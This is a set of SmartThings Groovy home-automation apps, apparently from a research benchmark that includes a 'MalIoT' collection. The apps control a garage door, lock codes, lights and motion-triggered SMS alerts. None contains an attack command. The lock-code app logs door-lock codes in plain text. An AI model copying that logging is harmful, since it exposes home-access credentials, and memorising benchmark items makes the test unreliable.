/smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/GarageDoorOpener.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2015 SmartThings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except 5 | * in compliance with the License. You may obtain a copy of the License at: 6 | * 7 | * http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed 10 | * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License 11 | * for the specific language governing permissions and limitations under the License. 12 | * 13 | * Garage Door Opener 14 | * 15 | * Author: SmartThings 16 | */ 17 | definition( 18 | name: "Garage Door Opener", 19 | namespace: "smartthings", 20 | author: "SmartThings", 21 | description: "Open your garage door when a switch is turned on.", 22 | category: "Convenience", 23 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Meta/garage_outlet.png", 24 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Meta/garage_outlet@2x.png" 25 | ) 26 | 27 | preferences { 28 | section("When the garage door switch is turned on, open the garage door...") { 29 | input "switch1", "capability.switch" 30 | } 31 | } 32 | 33 | def installed() { 34 | subscribe(app, appTouchHandler) 35 | subscribeToCommand(switch1, "on", onCommand) 36 | } 37 | 38 | def updated() { 39 | unsubscribe() 40 | subscribe(app, appTouchHandler) 41 | subscribeToCommand(switch1, "on", onCommand) 42 | } 43 | 44 | def appTouch(evt) { 45 | log.debug "appTouch: $evt.value, $evt" 46 | switch1?.on() 47 | } 48 | 49 | def onCommand(evt) { 50 | log.debug "onCommand: $evt.value, $evt" 51 | switch1?.off(delay: 3000) 52 | } 53 | -------------------------------------------------------------------------------- /smartThings/smartThings-Soteria/smartthings-Soteria-MalIoT-apps/Group1/ID13SwitchOnSetHomeMode+.groovy: -------------------------------------------------------------------------------- 1 | /* 2 | * Home mode automation 3 | * Set home mode when you turned on your living room light and send SMS you are home 4 | * Author: Z. Berkay Celik 5 | * The app is created by Z. Berkay Celik 6 | * Email: zbc102@cse.psu.edu 7 | * Notes: 8 | * SImulator includes a check for consistency between input block variables and the ones used in the source code. 9 | */ 10 | 11 | definition( 12 | name: "welcome back home", 13 | namespace: "Soteria", 14 | author: "Soteria", 15 | description: "Set home mode when you turned on your living room light and send SMS ", 16 | category: "Safety & Security", 17 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience.png", 18 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience@2x.png", 19 | iconX3Url: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience@2x.png") 20 | 21 | preferences { 22 | section("Make your home safe") { 23 | input "mySwitch", "capability.switch", title: "Living room switch", required: true, multiple: true 24 | } 25 | section("And text your family members at (optional)") { 26 | input "phone", "phone", title: "Phone number?", required: false 27 | } 28 | } 29 | 30 | def installed() { 31 | initialize() 32 | subscribe(mySwitch, "switch.on", switchOnHandler) 33 | } 34 | 35 | def updated() { 36 | unsubscribe() 37 | subscribe(mySwitch, "switch.on", switchOnHandler) 38 | initialize() 39 | } 40 | 41 | def initialize() { 42 | subscribe(mySwitch, "switch.on", switchOnHandler) 43 | } 44 | 45 | def switchOnHandler(evt) { 46 | setLocationMode("Home") 47 | def message = "SmartThings changed your mode to 'Home', welcome back home!" 48 | log.info message 49 | if (phone) { 50 | sendSms(phone, message) 51 | } 52 | } 53 | 54 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/ChangeLockCode.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Change Lock Codes 3 | * 4 | * Author: bigpunk6 5 | */ 6 | 7 | 8 | // Automatically generated. Make future change here. 9 | definition( 10 | name: "Change Lock Code", 11 | namespace: "", 12 | author: "bigpunk6", 13 | description: "Allows individual lock codes.", 14 | category: "SmartThings Labs", 15 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience.png", 16 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience%402x.png", 17 | oauth: [displayName: "Change Lock Code", displayLink: ""]) 18 | 19 | preferences { 20 | section("What Lock") { 21 | input "lock1","capability.lock", title: "Lock" 22 | } 23 | section("User") { 24 | input "user1", "decimal", title: "User (From 1 to 30) " 25 | input "code1", "decimal", title: "Code (4 to 8 digits)" 26 | input "delete1", "enum", title: "Delete User", required: false, metadata: [values: ["Yes","No"]] 27 | } 28 | } 29 | 30 | def installed() 31 | { 32 | subscribe(app, appTouch) 33 | subscribe(lock1, "usercode", usercodeget) 34 | } 35 | 36 | def updated() 37 | { 38 | unsubscribe() 39 | subscribe(app, appTouch) 40 | subscribe(lock1, "usercode", usercodeget) 41 | } 42 | 43 | def appTouch(evt) { 44 | log.debug "Current Code for user $user1: $lock1.currentUsercode" 45 | log.debug "user: $user1, code: $code1" 46 | def idstatus1 = 1 47 | if (delete1 == "Yes") { 48 | idstatus1 = 0 49 | } else { 50 | idstatus1 = 1 51 | } 52 | lock1.usercodechange(user1, code1, idstatus1) 53 | } 54 | 55 | def usercodeget(evt){ 56 | log.debug "Current Code for user $user1: $lock1.currentUsercode" 57 | } 58 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/OpeningDoorTogglesSwitch.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Opening Door Toggles Switch 3 | * 4 | * Author: SmartThings 5 | */ 6 | definition( 7 | name: "Opening Door Toggles Switch", 8 | namespace: "smartthings", 9 | author: "cdoyle", 10 | description: "Use your door as a switch. Go into a room to turn the light on, when you leave it shuts off after you go.", 11 | category: "Convenience", 12 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Meta/light_contact-outlet-luminance.png", 13 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Meta/light_contact-outlet-luminance@2x.png" 14 | ) 15 | 16 | preferences { 17 | section("When the door opens...") { 18 | input "contact1", "capability.contactSensor", title: "Where?" 19 | } 20 | section("Toggle a switch...") { 21 | input "switch1", "capability.switch" 22 | } 23 | section("And leave it on for how many minutes (optional)?") { 24 | input "minutesDelay", "number", title: "How long?", multiple: false, required: false 25 | } 26 | } 27 | 28 | def installed() { 29 | subscribe(contact1, "contact.open", contactOpenHandler) 30 | } 31 | 32 | def updated() { 33 | unsubscribe() 34 | subscribe(contact1, "contact.open", contactOpenHandler) 35 | } 36 | 37 | def contactOpenHandler(evt) { 38 | def switchValue = switch1.currentValue("switch") 39 | log.debug "switch = $switchValue" 40 | 41 | if (switchValue == "off") { 42 | log.trace "toggling light.on()" 43 | switch1.on() 44 | } 45 | else { 46 | def runDelay = minutesDelay 47 | runDelay = (runDelay != null && runDelay >= 0) ? runDelay * 60 : 0 48 | log.trace "toggling light.off() ... in $runDelay seconds" 49 | runIn(runDelay, "switchOff") 50 | } 51 | } 52 | 53 | private def switchOff() { 54 | switch1.off() 55 | } 56 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/SomethingMovedUpstairs.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Something Moved 3 | * 4 | * Author: MarkoPolo 5 | */ 6 | definition( 7 | name: "Something Moved Upstairs", 8 | namespace: "smartthings", 9 | author: "MarkoPolo", 10 | description: "Send a text when movement is detected", 11 | category: "Fun & Social", 12 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Meta/text_accelerometer.png", 13 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Meta/text_accelerometer@2x.png" 14 | ) 15 | 16 | preferences { 17 | section("When movement is detected upstairs...") { 18 | input "motionSensor", "capability.motionSensor", title: "Where?" 19 | } 20 | section("Text me at...") { 21 | input "phone1", "phone", title: "Phone number?" 22 | } 23 | } 24 | 25 | def installed() { 26 | subscribe(motionSensor, "motion.active", motionActiveHandler) 27 | } 28 | 29 | def updated() { 30 | unsubscribe() 31 | subscribe(motionSensor, "motion.active", motionActiveHandler) 32 | } 33 | 34 | def motionActiveHandler(evt) { 35 | // Don't send a continuous stream of text messages 36 | def deltaSeconds = 60 37 | def timeAgo = new Date(now() - (1000 * deltaSeconds)) 38 | def recentEvents = motionSensor.eventsSince(timeAgo) 39 | log.trace "Found ${recentEvents?.size() ?: 0} events in the last $deltaSeconds seconds" 40 | def alreadySentSms = recentEvents.count { it.value && it.value == "active" } > 1 41 | 42 | if (alreadySentSms) { 43 | log.debug "SMS already sent to $phone1 within the last $deltaSeconds seconds" 44 | } else { 45 | log.debug "$motionSensor has moved, texting $phone1" 46 | sendSms(phone1, "Dude! ${motionSensor.label ?: motionSensor.name} detected that someting moved at Kokopelli!") 47 | } 48 | } --------------------------------------------------------------------------------